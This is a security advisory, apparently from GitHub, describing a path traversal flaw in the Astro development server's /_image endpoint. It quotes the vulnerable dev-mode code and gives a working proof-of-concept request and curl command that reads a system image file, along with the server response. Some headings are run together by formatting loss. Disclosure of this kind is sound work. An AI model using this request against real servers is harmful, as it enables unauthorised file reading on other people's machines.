A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.
/packages/astro/src/assets/endpoint/node.tsThe vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.
Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts
// Vulnerable code in development mode
if (import.meta.env.DEV) {
fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
// Production has proper path validation
// ... security checks omitted in dev mode
}
The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.
astro dev)/_image endpoint must be accessible to the attackerStart Astro Development Server:
astro dev # Typically runs on http://localhost:4321
Craft Malicious Request:
GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1
Host: localhost:4321
Example Attack:
curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
Test Environment: macOS with Astro v5.13.3
Successful Exploitation:
- Target: /System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg
- Response: HTTP 200 OK, Content-Type: image/png
- Exfiltration: 303 bytes (100x100 PNG)
- File Created: stolen-image.png containing processed system image
Attack Payload:
http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png
Server Response:
Status: 200 OK
Content-Type: image/png
Content-Length: 303
packages/astro/src/assets/endpoint/node.tsloadLocalImage()packages/astro/src/assets/endpoint/generic.ts{
"severity": "LOW",
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"nvd_published_at": "2025-11-19T17:15:52Z",
"github_reviewed_at": "2025-11-19T19:43:05Z",
"github_reviewed": true
}